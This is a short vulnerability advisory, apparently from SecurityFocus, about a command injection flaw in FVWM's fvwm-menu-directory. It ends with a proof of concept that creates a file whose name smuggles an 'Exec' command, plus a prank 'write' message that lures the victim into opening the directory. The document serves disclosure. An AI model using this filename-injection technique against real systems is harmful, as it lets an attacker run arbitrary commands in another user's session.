source: http://www.securityfocus.com/bid/9161/info

It has been reported that FVWM may be prone to a command execution vulnerability that may allow an attacker to execute malicious commands on a vulnerable system. It has been reported that the fvwm-menu-directory component does not properly sanitize user input and allows a user with write permissions to a directory to execute arbitrary commands.

FVWM versions 2.14.17 and 2.5.8 have been reported to be vulnerable to this issue, however other versions may be affected as well. 

$ touch '
> Exec xmessage "0wn3d"
>
> '
$ write fvwmguy <<< "k3wl mp3 in `pwd` OMG LOLOLOL!!!1111" 